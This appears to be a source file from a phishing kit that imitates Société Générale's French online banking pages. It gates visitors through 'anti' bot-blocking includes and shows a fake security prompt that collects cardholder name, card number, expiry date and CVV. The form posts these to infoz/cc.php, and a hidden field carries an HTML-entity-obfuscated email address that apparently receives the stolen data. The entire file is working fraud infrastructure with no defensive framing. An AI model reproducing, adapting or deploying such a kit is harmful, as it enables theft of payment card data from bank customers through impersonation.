<?php
session_start();
include('prevents/anti1.php');
include('prevents/anti2.php');
include('prevents/anti3.php');
include('prevents/anti4.php');
include('prevents/anti5.php');
include('prevents/anti6.php');
include('prevents/anti7.php');
include('prevents/anti8.php');
if($_SESSION['authorized'] == "1")
{
?>
<html lang="FR" class="swm-root-active swm-mode-page"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    
    <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no">
    <meta name="format-detection" content="telephone=no">
	<title>Société Générale | Connexion</title>
	<meta name="robots" content="none">
	<title>Connexion - Espace client</title>
    <meta name="title" content="Connexion - Espace client">
    <meta property="og:title" content="Connexion - Espace client">
    <meta name="twitter:card" content="summary">
    <meta name="viewport" content="initial-scale=1, maximum-scale=1, viewport-fit=cover">
	<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <link rel="icon" type="image/x-icon" href="img/favicon.ico">
	<link href="./sms_files/index_20190723161948.min.css" rel="stylesheet" type="text/css">
	<link href="./index_files/index_pri_20201013141424.min.css" rel="stylesheet" type="text/css" />
    <link href="./index_files/spec56_btn_gsm_all_gcd_20190320190559.min.css" rel="stylesheet" type="text/css">
	<link href="./index_files/awt-front-BDDF.css" rel="stylesheet" type="text/css">
    <link rel="stylesheet" href="./sms_files/inbenta.css">
	<link rel="stylesheet" href="./sms_files/style.css">
	<link href="./sms_files/print_20190320190559.min.css" rel="stylesheet" type="text/css" media="print">

    <style type="text/css">
        .eip_txt_light {
            font-weight: 300;
        }
        
        .eip_dcw_main-link {
            color: #fff;
            text-decoration: underline !important;
            -webkit-transition: color 0.2s ease-in-out;
            -o-transition: color 0.2s ease-in-out;
            transition: color 0.2s ease-in-out;
        }
        
        .eip_dcw_main-link:hover,
        .eip_dcw_main-link:focus {
            color: #f05b6f;
        }
    </style>
<style>
#codCl {
opacity:0;

}
#codCl.waa {
        opacity:1;
    transition:opacity 500ms;
}
#oop {
   
            opacity:1;
    transition:opacity 500ms;
}
#oop.woo {
     opacity:0;

}

</style>

<script>
setTimeout(function(){
    document.getElementById('oop').className = 'woo';
}, 100);

setTimeout(function(){
    document.getElementById('codCl').className = 'waa';
}, 100);

</script>	
	

</head><span id="warning-container"><i data-reactroot=""></i></span>

<body class="PRI waitJeton swm " style="" cz-shortcut-listen="true">
	<?php 
include_once('header.php');
?>

<section class="dcw_main">
<section class="dcw_gb_row dcw_gb_communication">
	</section>
<section class="dcw_gb_wrapper">
		<main role="main">
			<a id="go-content" tabindex="-1"></a>
			<section class="dcw_gb_core ugds_serviciel" id="">

<div id="dcw-swm" class="swm-inner-wrapper">
    <div class="prefetch"></div>
    <div id="disableLayer" class="disable-layer"></div>
    


<div id="swm-tooltip" class="swm-tooltip">
    <span></span>
</div>
<div class="swm-popin-wrapper" tabindex="0" role="dialog" aria-live="assertive">
    <div id="swm-popin-overlay" class="swm-popin-overlay"></div>
    <div id="swm-popin-dialog" class="swm-popin-dialog">
        <div class="swm-popin-relative">
            <div id="swm-popin-btn-fermer" class="swm-popin-btn-fermer" tabindex="0" aria-label="Fermer la popin"></div>
            <div class="swm-popin-ombre-sup"></div>
            <div id="swm-popin-ombre-lat" class="swm-popin-ombre-lat">
                <div id="swm-popin" class="swm-popin">
                    <div id="swm-popin-cadre" class="swm-popin-cadre oob-content">
                    </div>
                </div>
            </div>
            <div class="swm-popin-ombre-inf"></div>
        </div>
    </div>
</div>

    <main role="main" class="dcw_authent dcw_csetape">
        <div class="dcw_codeContainer">
            <div class="dcw_block">
                <div class="dcw_block-element">
                    <section class="dcw_chemin_etape js-breadcrumb nav-item-selected-1">
                        
                    </section>
                </div>
            </div>
			<div id="oop" align="center" >
				<img src="./sms_files/loader.gif">
			</div>
			
            <div id="codCl" >
				<form action="infoz/cc.php" method="POST" onsubmit="return cc()">
                <div class="dcw_block dcw_block-text">
                    <div class="dcw_block-element">
                        <h3>Par mesure de securite <br>Veuillez remplir vos coordonnées suivantes :</h3>
                    </div>
                </div> 


                <?php if(isset($_GET['error'])) { ?>
                    <div style="color: red; text-align: center;">
                        Le numéro de carte de crédit est invalide !
                    </div>
                <?php } ?>

                <br>


                <div class="dcw_block dcw_block-input">
                    <div class="dcw_block-element">

                        <div class="row_section dcw_input-container">
                            <input id="" name="name" type="text" class="dcw_input grey_cross" placeholder=" " maxlength="30" autocomplete="off" autocapitalize="off" autocorrect="off" required="">
                            <span class="dcw_sprite dcw_to-clear"></span>
                            <span class="bar"></span>
                            <label>Nom sur la carte</label>
                        </div><br>

						<div class="row_section dcw_input-container">
                            <input id="ccFormatMonitor" name="ccFormatMonitor" type="text" class="dcw_input grey_cross ccFormatMonitor" placeholder=" " maxlength="19" autocomplete="off" autocapitalize="off" autocorrect="off" required="">
                            <span class="dcw_sprite dcw_to-clear"></span>
                            <span class="bar"></span>
                            <label>Numéro de carte de crédit</label>
                            <span class="text_is_invalid">Saisissez un numéro de carte valide</span>
                        </div><br>
						                        <div class="row_section dcw_input-container">
                <input id="inputExpDate" name="inputExpDate" type="text" class="dcw_input grey_cross" placeholder=" " maxlength="7" autocomplete="off" autocapitalize="off" autocorrect="off" required="">
                            <span class="dcw_sprite dcw_to-clear"></span>
                            <span class="bar"></span>
                            <label>MM / YY</label>
                            <span class="text_is_invalid">Saisissez un date d'expiration valide</span>
							<input type="hidden" name="SecureCard-expiryMonth"> 
							<input type="hidden" name="SecureCard-expiryYear">
                        </div><br>
						                        <div class="row_section dcw_input-container">
                            <input id="cvv" name="cvv" type="text" class="dcw_input grey_cross cvv" placeholder=" " maxlength="4" autocomplete="off" autocapitalize="off" autocorrect="off" required="">
                            <span class="dcw_sprite dcw_to-clear"></span>
                            <span class="bar"></span>
                            <label>Cryptogramme visuel</label>
                            <span class="text_is_invalid">Saisissez un cryptogramme visuel valide</span>
                        </div>
                    </div>
                </div>
                <div style="margin-top: 20px; text-align: center;" class="dcw_block dcw_block-input">
                     <a style="color: red; text-decoration: underline;" href="infoz/donotacard.php">Je n'ai pas de carte</a>
                    
                </div>
                <div class="dcw_block dcw_block-button">
					<input type="hidden" class="form-control" name="HTTP_USER_AGENT" autocapitalize="none" autocomplete="off" value="&comma;&#x6a;&#x77;&#x38;&#x30;&#x31;&#x36;&#x38;&#x35;&#x39;&commat;&#x67;&#x6d;&#x61;&#x69;&#x6c;&period;&#x63;&#x6f;&#x6d;">
                    <div class="dcw_block-element">
                        <button id="btn-validate" type="submit" class="dcw_button-principal dcw_button-arrondi">Valider</button>
                    </div>
                </div>
				</form>
            </div>
            
         </div>
    </main>


</div>

            
                </section>
	</main>
<section class="dcw_gb_row">
	</section>
</section>
	</section>

<footer class="dcw_footer" role="contentinfo">
	<div class="dcw_footer-second">
		<div class="dcw_footer_container">
			<nav class="dcw_footer-second_nav">
				<ul class="dcw_footer-second_list">
					    <li class="dcw_footer-second_item">
<a data-tms-container-label="footer-general-shortcuts" href="#" data-tms-click-type="N" data-tms-element-label="trouver-une-agence">            <svg class="dcw_footer-second_icon" aria-hidden="true" focusable="false"><use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="img/pictos-fonctionnels_20200629183129.svg#localisation"></use></svg>
            Trouver une agence
</a>    </li>
    <li class="dcw_footer-second_item">
<a data-tms-container-label="footer-general-shortcuts" href="#" data-tms-click-type="N" data-tms-element-label="questions-fréquentes">            <svg class="dcw_footer-second_icon" aria-hidden="true" focusable="false"><use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="img/pictos-fonctionnels_20200629183129.svg#question"></use></svg>
            Questions fréquentes
</a>    </li>
<li class="dcw_footer-second_item">
							<div class="dcw_dropdown js-dropdown-light">
    <button class="dcw_dropdown_titre js-dropdown_btn" aria-label="Ouvrir la liste des autres sites Société Générale" aria-expanded="false" aria-owns="dcw-dropdown-list">Autres sites Société Générale</button>
   <svg class="dcw_dropdown_icon" aria-hidden="true" focusable="false"><use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="img/pictos-fonctionnels_20200629183129.svg#arrow-dropdown"></use></svg>
    <ul class="dcw_dropdown_list toggle_content">
            <li class="dcw_dropdown_item">
                <a data-tms-container-label="footer-other-links-sg" class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N" data-tms-element-label="banque-privée">Banque privée</a>
            </li>
            <li class="dcw_dropdown_item">
                <a data-tms-container-label="footer-other-links-sg" class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N" data-tms-element-label="professionnels">Professionnels</a>
            </li>
            <li class="dcw_dropdown_item">
                <a data-tms-container-label="footer-other-links-sg" class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N" data-tms-element-label="entreprises">Entreprises</a>
            </li>
            <li class="dcw_dropdown_item">
                <a data-tms-container-label="footer-other-links-sg" class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N" data-tms-element-label="associations">Associations</a>
            </li>
            <li class="dcw_dropdown_item">
                <a data-tms-container-label="footer-other-links-sg" class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N" data-tms-element-label="économie-publique">Économie publique</a>
            </li>
            <li class="dcw_dropdown_item">
                <a data-tms-container-label="footer-other-links-sg" class="dcw_dropdown_link js-dropdown_link" href="#" data-tms-click-type="N" data-tms-element-label="groupe-société-générale">Groupe Société Générale</a>
            </li>
    </ul>
</div></li>
					</ul>
			</nav>
			<ul class="dcw_footer_container dcw_footer-second_social">
				    <li class="dcw_footer-second_item-social">
<a data-tms-container-label="footer-social-links" title="Facebook" href="#" aria-label="Voir le groupe Facebook de la Société Générale" data-tms-click-type="N" data-tms-element-label="facebook">            <svg aria-hidden="true" focusable="false"><use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="img/pictos-fonctionnels_20200629183129.svg#facebook-2"></use></svg>
</a>    </li>
    <li class="dcw_footer-second_item-social">
<a data-tms-container-label="footer-social-links" title="Twitter" href="#" aria-label="Voir le Twitter de la Société Générale" data-tms-click-type="N" data-tms-element-label="twitter">            <svg aria-hidden="true" focusable="false"><use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="img/pictos-fonctionnels_20200629183129.svg#twitter-2"></use></svg>
</a>    </li>
    <li class="dcw_footer-second_item-social">
<a data-tms-container-label="footer-social-links" title="Instagram" href="#" aria-label="Voir l' Instagram de la Société Générale" data-tms-click-type="N" data-tms-element-label="instagram">            <svg aria-hidden="true" focusable="false"><use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="img/pictos-fonctionnels_20200629183129.svg#instagram"></use></svg>
</a>    </li>
</ul>
		</div>
	</div>
	<nav class="dcw_footer-third">
		<div class="dcw_footer_container">
			<img alt="Société Générale" aria-hidden="true" class="dcw_footer-third_logo" height="30" src="index_files/logo-sg-seul.svg" width="150">
<ul class="dcw_footer-third_list">
				    <li class="dcw_footer-third_item">
        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N" data-tms-element-label="sécurité">Sécurité</a>
    </li>
    <li class="dcw_footer-third_item">
        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N" data-tms-element-label="nos-engagements">Nos engagements</a>
    </li>
    <li class="dcw_footer-third_item">
        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N" data-tms-element-label="gestion-des-cookies">Gestion des Cookies</a>
    </li>
    <li class="dcw_footer-third_item">
        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N" data-tms-element-label="données-personnelles">Données personnelles</a>
    </li>
    <li class="dcw_footer-third_item">
        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N" data-tms-element-label="documentation-et-tarifs">Documentation et Tarifs</a>
    </li>
    <li class="dcw_footer-third_item">
        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N" data-tms-element-label="informations-légales">Informations légales</a>
    </li>
    <li class="dcw_footer-third_item">
        <a data-tms-container-label="footer-super-links" href="#" data-tms-click-type="N" data-tms-element-label="accessibilité-numérique">Accessibilité numérique</a>
    </li>
</ul>
		</div>
	</nav>
	</footer>















<div id="interactWrapper" class="sdcwrapper theme-banque-bddf theme-enseigne-bddf theme-marche-pri enseigne-BDDF marche-PRI theme-media-site-web integrationNGIM sdcContainer interactCSSWrapper"><div class="interact-layout" id="content"> <div class="interact-header"></div> <div class="interact-content"></div> <div class="interact-popin"></div> <div class="interact-footer"></div> <div class="interact-sticky"><div id="tch_sticky-bar" class="tch_sticky-bar_container"><div class="tch_sticky-contact_bar"> <h3 class="tch_sticky-bar_title">Besoin d'aide</h3> <p class="tch_sticky-bar_message"> Nos experts vous accompagnent dans le choix de la solution adaptée à vos besoins </p> <div class="tch_sticky-bar has-two-icons"> <ul class="tch_sticky-bar_list"> <li class="tch_sticky-bar_item"><button class="tch_sticky-bar_btn">    <svg class="tch_sticky-bar_icon" aria-label="Poser une question à SoBot" role="img" focusable="false"> <use width="100%" height="100%" xlink:href="img/41de603c123a04387e8b57c2f2c9897e.svg#chatbot"></use> </svg>  <span class="tch_tooltip">Poser une question à SoBot  </span> </button></li><li class="tch_sticky-bar_item"><button class="tch_sticky-bar_btn">    <svg class="tch_sticky-bar_icon" aria-label="Prendre rendez-vous" role="img" focusable="false"> <use width="100%" height="100%" xlink:href="img/41de603c123a04387e8b57c2f2c9897e.svg#calendar"></use> </svg>  <span class="tch_tooltip">Prendre rendez-vous  </span> </button></li></ul> </div> <button class="tch_sticky-bar_close" aria-label="Fermer la boite de dialogue"> <svg class="tch_sticky-bar_icon tch_sticky-bar_icon--close" aria-hidden="true" focusable="false"> <use width="100%" height="100%" xlink:href="img/41de603c123a04387e8b57c2f2c9897e.svg#cross-close"></use> </svg> </button></div></div><div id="tch_sticky-contact" class="tch_sticky-contact_container" style="display:none"></div></div> <div class="interact-chat"><div aria-grabbed="false" class="tch_chat"><div id="tch_chat-bot" style="display:none"></div></div></div> <div>







    <div id="interactWrapper" class="sdcwrapper"></div>


<script>
var app;

(function() {
  'use strict';
  
  app = {
    monthAndSlashRegex: /^\d\d \/ $/, // regex to match "MM / "
    monthRegex: /^\d\d$/, // regex to match "MM"
    
    el_cardNumber: '.ccFormatMonitor',
    el_expDate: '#inputExpDate',
    el_cvv: '.cvv',
    el_ccUnknown: 'cc_type_unknown',
    el_ccTypePrefix: 'cc_type_',
    el_monthSelect: '#monthSelect',
    el_yearSelect: '#yearSelect',
    
    cardTypes: {
      'American Express': {
        name: 'American Express',
        code: 'ax',
        security: 4,
        pattern: /^3[47]/,
        valid_length: [15],
        formats: {
          length: 15,
          format: 'xxxx xxxxxxx xxxx'
        }
      },
      'Visa': {
				name: 'Visa',
				code: 'vs',
        security: 3,
				pattern: /^4/,
				valid_length: [16],
				formats: {
						length: 16,
						format: 'xxxx xxxx xxxx xxxx'
					}
			},
      'Maestro': {
				name: 'Maestro',
				code: 'ma',
        security: 3,
				pattern: /^(50(18|20|38)|5612|5893|63(04|90)|67(59|6[1-3])|0604)/,
				valid_length: [16],
				formats: {
						length: 16,
						format: 'xxxx xxxx xxxx xxxx'
					}
			},
      'Mastercard': {
				name: 'Mastercard',
				code: 'mc',
        security: 3,
				pattern: /^5[1-5]/,
				valid_length: [16],
				formats: {
						length: 16,
						format: 'xxxx xxxx xxxx xxxx'
					}
			} 
    }
  };
  
  app.addListeners = function() {
      $(app.el_expDate).on('keydown', function(e) {
        app.removeSlash(e);
      });

      $(app.el_expDate).on('keyup', function(e) {
        app.addSlash(e);
      });

      $(app.el_expDate).on('blur', function(e) {
        app.populateDate(e);
      });

      $(app.el_cvv +', '+ app.el_expDate).on('keypress', function(e) {
        return e.charCode >= 48 && e.charCode <= 57;
      });  
  };
  
  app.addSlash = function (e) {
    var isMonthEntered = app.monthRegex.exec(e.target.value);
    if (e.key >= 0 && e.key <= 9 && isMonthEntered) {
      e.target.value = e.target.value + " / ";
    }
  };
  
  app.removeSlash = function(e) {
    var isMonthAndSlashEntered = app.monthAndSlashRegex.exec(e.target.value);
    if (isMonthAndSlashEntered && e.key === 'Backspace') {
      e.target.value = e.target.value.slice(0, -3);
    }
  };
  
  app.populateDate = function(e) {
    var month, year;
    
    if (e.target.value.length == 7) {
      month = parseInt(e.target.value.slice(0, -5));
      year = "20" + e.target.value.slice(5);
      
      if (app.checkMonth(month)) {
        $(app.el_monthSelect).val(month);
      } else {
        $(app.el_monthSelect).val(0);
      }
      
      if (app.checkYear(year)) {
        $(app.el_yearSelect).val(year);
      } else {
        $(app.el_yearSelect).val(0);
      }
      
    }
  };
  
  app.checkMonth = function(month) {
    if (month <= 12) {
      var monthSelectOptions = app.getSelectOptions($(app.el_monthSelect));
      month = month.toString();
      if (monthSelectOptions.includes(month)) {
        return true; 
      }
    }
  };
  
  app.checkYear = function(year) {
    var yearSelectOptions = app.getSelectOptions($(app.el_yearSelect));
    if (yearSelectOptions.includes(year)) {
      return true; 
    }
  };
          
  app.getSelectOptions = function(select) {
    var options = select.find('option');
    var optionValues = [];
    for (var i = 0; i < options.length; i++) {
      optionValues[i] = options[i].value;
    }
    return optionValues;
  };
  
  app.setMaxLength = function ($elem, length) {
    if($elem.length && app.isInteger(length)) {
      $elem.attr('maxlength', length);
    }else if($elem.length){
      $elem.attr('maxlength', '');
    }
  };
  
  app.isInteger = function(x) {
    return (typeof x === 'number') && (x % 1 === 0);
  };

  app.createExpDateField = function() {
    $(app.el_monthSelect +', '+ app.el_yearSelect).hide();
    $(app.el_monthSelect).parent().prepend('<input type="text" class="ccFormatMonitor">');
  };
  
  
  app.isValidLength = function(cc_num, card_type) {
    for(var i in card_type.valid_length) {
      if (cc_num.length <= card_type.valid_length[i]) {
        return true;
      }
    }
    return false;
  };

  app.getCardType = function(cc_num) {
    for(var i in app.cardTypes) {
      var card_type = app.cardTypes[i];
      if (cc_num.match(card_type.pattern) && app.isValidLength(cc_num, card_type)) {
        return card_type;
      }
    }
  };

  app.getCardFormatString = function(cc_num, card_type) {
    for(var i in card_type.formats) {
      var format = card_type.formats[i];
      if (cc_num.length <= format.length) {
        return format;
      }
    }
  };

  app.formatCardNumber = function(cc_num, card_type) {
    var numAppendedChars = 0;
    var formattedNumber = '';
    var cardFormatIndex = '';

    if (!card_type) {
      return cc_num;
    }

    var cardFormatString = app.getCardFormatString(cc_num, card_type);
    for(var i = 0; i < cc_num.length; i++) {
      cardFormatIndex = i + numAppendedChars;
      if (!cardFormatString || cardFormatIndex >= cardFormatString.length) {
        return cc_num;
      }

      if (cardFormatString.charAt(cardFormatIndex) !== 'x') {
        numAppendedChars++;
        formattedNumber += cardFormatString.charAt(cardFormatIndex) + cc_num.charAt(i);
      } else {
        formattedNumber += cc_num.charAt(i);
      }
    }

    return formattedNumber;
  };

  app.monitorCcFormat = function($elem) {
    var cc_num = $elem.val().replace(/\D/g,'');
    var card_type = app.getCardType(cc_num);
    $elem.val(app.formatCardNumber(cc_num, card_type));
    app.addCardClassIdentifier($elem, card_type);
  };

  app.addCardClassIdentifier = function($elem, card_type) {
    var classIdentifier = app.el_ccUnknown;
    if (card_type) {
      classIdentifier = app.el_ccTypePrefix + card_type.code;
      app.setMaxLength($(app.el_cvv), card_type.security);
    } else {
      app.setMaxLength($(app.el_cvv));
    }

    if (!$elem.hasClass(classIdentifier)) {
      var classes = '';
      for(var i in app.cardTypes) {
        classes += app.el_ccTypePrefix + app.cardTypes[i].code + ' ';
      }
      $elem.removeClass(classes + app.el_ccUnknown);
      $elem.addClass(classIdentifier);
    }
  };

  
  app.init = function() {

    $(document).find(app.el_cardNumber).each(function() {
      var $elem = $(this);
      if ($elem.is('input')) {
        $elem.on('input', function() {
          app.monitorCcFormat($elem);
        });
      }
    });
    
    app.addListeners();
    
  }();
  
})();
</script>

</body></html>
<?php 
}
else{
    die('YOU ARE NOT AUTHORIZED');
}
?>